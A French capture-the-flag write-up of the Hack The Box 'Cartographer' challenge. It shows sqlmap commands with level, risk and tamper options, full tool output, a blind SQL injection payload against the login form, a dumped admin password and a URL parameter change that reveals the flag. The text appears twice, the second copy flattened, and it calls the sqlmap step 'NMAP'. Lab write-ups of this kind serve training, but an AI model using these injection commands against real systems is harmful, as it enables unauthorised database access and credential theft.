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Write-up hack the box cartographer SQL injection

 

Sujet du challenge (de l'épreuve):

Some underground hackers are developing a new command and control server. Can you break in and see what they are up to?

Write-up hack the box cartographer SQL injection, lancement vm

On lance la machine virtuelle, l’instance, en cliquant sur « start instance »

write up hack the box cartographer SQL injection start instance

L’instance est lancée :

write up hack the box cartographer SQL injection instance lancee

On obtient le moyen d’atteindre la machine virtuelle avec un socket IP+port, enfin ici, nom de domaine c’est plus friendly:

host: docker.hackthebox.eu port:41552

http://docker.hackthebox.eu:41552/

Une page de login s’affiche :

write up hack the box cartographer SQL injection login password

Alors quand je vois ce genre de login/password, j’ai envie d’essayer de tester la technique du SQL injection.

La faille SQLi, abréviation de SQL Injection, soit injection SQL en français, est un groupe de méthodes d'exploitation de faille de sécurité d'une application interagissant avec une base de données. Elle permet d'injecter dans la requête SQL en cours un morceau de requête non prévu par le système et pouvant en compromettre la sécurité.

Write-up hack the box cartographer SQL injection, lancement nmap



Je lance NMAP avec la commande qui va bien :
$ sqlmap -u "http://docker.hackthebox.eu:41552/" --data="username=admin&password=admin" --dbs

-u – option qui indique l’url du site web cible
--data – option qui indique que l’on va envoyer les données suivantes par POST
-dbs – deviner les bases de données


Forcement, après ce premier essai, echec. Mon injectin SQL ne fonctionne pas avec user admin et mot de passe admin.

Mais j’ai une indication avec SQL map :
[CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')

je vais donc ajouter les paramètres, -level, --risk, and –tamper.

Je reconstruis ma requete SQL avec les bons paramètres et je la relance :
$ sqlmap -u "http://docker.hackthebox.eu:41552/" --data="username=admin&password=admin" --dbs --level=5 --risk=3 --tamper=space2comment

      ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.4#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 16:33:05

[16:33:05] [INFO] loading tamper script 'space2comment'
[16:33:05] [INFO] testing connection to the target URL
[16:33:06] [INFO] testing if the target URL content is stable
[16:33:06] [INFO] target URL content is stable
[16:33:06] [INFO] testing if POST parameter 'username' is dynamic
[16:33:07] [WARNING] POST parameter 'username' does not appear to be dynamic
[16:33:07] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[16:33:07] [INFO] testing for SQL injection on POST parameter 'username'
[16:33:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
sqlmap got a 302 redirect to 'http://docker.hackthebox.eu:54683/panel.php?info=home'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
[16:34:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[16:35:00] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[16:35:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Generic comment)'
[16:36:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Generic comment)'
[16:36:27] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Generic comment) (NOT)'
[16:36:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[16:37:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[16:37:15] [INFO] POST parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Is")
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[16:37:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:37:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:37:28] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[16:37:34] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[16:37:41] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[16:37:47] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[16:37:53] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[16:37:59] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[16:38:06] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[16:38:12] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[16:38:18] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[16:38:24] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[16:38:24] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 852 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: username=-3755' OR 9186=9186#&password=admin
---
[16:38:50] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[16:38:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL Unknown
[16:38:50] [INFO] fetching database names
[16:38:50] [INFO] fetching number of databases
[16:38:50] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:38:50] [INFO] retrieved: 5
[16:38:54] [INFO] retrieved: information_schema
[16:39:48] [INFO] retrieved: cartographer
[16:40:22] [INFO] retrieved: mysql
[16:40:37] [INFO] retrieved: performance_schema
[16:41:28] [INFO] retrieved: sys
available databases [5]:
[*] cartographer
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

[16:41:37] [INFO] fetched data logged to text files under '/Users/aj/.sqlmap/output/docker.hackthebox.eu'

[*] shutting down at 16:41:37

Ca y’est, j’obtiens enfin les tables/ bases de données du site web !
La prochaine étape est de télécharger toutes les données de la base de donnée Cartographer.

Database: cartographer
Table: users
[1 entry]
+----------+------------------------------+
| username | password                     |
+----------+------------------------------+
| admin    | mypasswordisfuckinawesome123 |
+----------+------------------------------+
Facile !
Maintenant je me connecte avec le user admin et le mot de passe  mypasswordisfuckinawesome123

Ca me dit que le site web est en construction avec comme adresse url :
http://docker.hackthebox.eu:41552/panel.php?info=home

Si je regarde le code source, je vois :

<html>
<head>
    <title>Cartographer - Panel</title>
    <link rel='stylesheet' href='style.css' type='text/css' />
</head>
<body>
    <div class="content-container">
        <div class="blur"></div>
    </div>
    <div class="loginform">
        <center>
            <img src="/logo.png" /><br><br>
            <br>Cartographer<br>Is Still<br>Under Construction!
        </center>
    </div>
</body>
</html>

Rien d’interessant dans le code source.
Je décide de remplacer le parametre info= home par info=flag

http://docker.hackthebox.eu:41552/panel.php?info=flag

Write-up hack the box cartographer SQL injection, apparition du flag


et voilà ! Le flag apparaît :

write up hack the box cartographer SQL injection flag

 

 

 

 

Alors quand je vois ce genre de login/password, j’ai envie d’essayer de tester la technique du SQL injection.

Je lance NMAP avec la commande qui va bien :

$ sqlmap -u "http://docker.hackthebox.eu:41552/" --data="username=admin&password=admin" --dbs

-u – option qui indique l’url du site web cible
--data – option qui indique que l’on va envoyer les données suivantes par POST
-dbs – deviner les bases de données


Forcement, après ce premier essai, echec. Mon injectin SQL ne fonctionne pas avec user admin et mot de passe admin.

Mais j’ai une indication avec SQL map :

[CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')

 

je vais donc ajouter les paramètres, -level, --risk, and –tamper.

Je reconstruis ma requete SQL avec les bons paramètres et je la relance :

$ sqlmap -u "http://docker.hackthebox.eu:41552/" --data="username=admin&password=admin" --dbs --level=5 --risk=3 --tamper=space2comment

      ___        __H__  ___ ___[,]_____ ___ ___  {1.2.4#stable} |_ -| . [']     | .'| . | |___|_  [,]_|_|_|__,|  _|       |_|V          |_|   http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 16:33:05 [16:33:05] [INFO] loading tamper script 'space2comment' [16:33:05] [INFO] testing connection to the target URL [16:33:06] [INFO] testing if the target URL content is stable [16:33:06] [INFO] target URL content is stable [16:33:06] [INFO] testing if POST parameter 'username' is dynamic [16:33:07] [WARNING] POST parameter 'username' does not appear to be dynamic [16:33:07] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable [16:33:07] [INFO] testing for SQL injection on POST parameter 'username' [16:33:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' sqlmap got a 302 redirect to 'http://docker.hackthebox.eu:54683/panel.php?info=home'. Do you want to follow? [Y/n] Y redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N [16:34:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause' [16:35:00] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)' [16:35:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Generic comment)' [16:36:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Generic comment)' [16:36:27] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (Generic comment) (NOT)' [16:36:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' [16:37:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' [16:37:15] [INFO] POST parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable (with --string="Is") it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [16:37:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [16:37:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [16:37:28] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns' [16:37:34] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns' [16:37:41] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns' [16:37:47] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns' [16:37:53] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns' [16:37:59] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns' [16:38:06] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns' [16:38:12] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns' [16:38:18] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns' [16:38:24] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval [16:38:24] [INFO] checking if the injection point on POST parameter 'username' is a false positive POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 852 HTTP(s) requests: --- Parameter: username (POST)     Type: boolean-based blind     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)     Payload: username=-3755' OR 9186=9186#&password=admin --- [16:38:50] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [16:38:50] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 16.04 (xenial) web application technology: Apache 2.4.18 back-end DBMS: MySQL Unknown [16:38:50] [INFO] fetching database names [16:38:50] [INFO] fetching number of databases [16:38:50] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [16:38:50] [INFO] retrieved: 5 [16:38:54] [INFO] retrieved: information_schema [16:39:48] [INFO] retrieved: cartographer [16:40:22] [INFO] retrieved: mysql [16:40:37] [INFO] retrieved: performance_schema [16:41:28] [INFO] retrieved: sys available databases [5]: [*] cartographer [*] information_schema [*] mysql [*] performance_schema [*] sys [16:41:37] [INFO] fetched data logged to text files under '/Users/aj/.sqlmap/output/docker.hackthebox.eu' [*] shutting down at 16:41:37

Ca y’est, j’obtiens enfin les tables/ bases de données du site web !

La prochaine étape est de télécharger toutes les données de la base de donnée Cartographer.

Database: cartographer Table: users [1 entry] +----------+------------------------------+ | username | password                     | +----------+------------------------------+ | admin    | mypasswordisfuckinawesome123 | +----------+------------------------------+

Facile !

Maintenant je me connecte avec le user admin et le mot de passe mypasswordisfuckinawesome123

Ca me dit que le site web est en construction avec comme adresse url :

http://docker.hackthebox.eu:41552/panel.php?info=home

Si je regarde le code source, je vois :

<html> <head> <title>Cartographer - Panel</title> <link rel='stylesheet' href='style.css' type='text/css' /> </head> <body> <div class="content-container"> <div class="blur"></div> </div> <div class="loginform"> <center> <img src="/logo.png" /><br><br> <br>Cartographer<br>Is Still<br>Under Construction! </center> </div> </body> </html>

Rien d’interessant dans le code source.

Je décide de remplacer le parametre info= home par info=flag

http://docker.hackthebox.eu:41552/panel.php?info=flag

et voilà ! Le flag apparaît :

 

Cet article reflète exclusivement l'opinion de ses auteurs et n’engage en aucune façon Consultingit

 

Commentaires?

Voilà, j'espère que ça vous a plu. Vos commentaires/remarques sont les bienvenus

 

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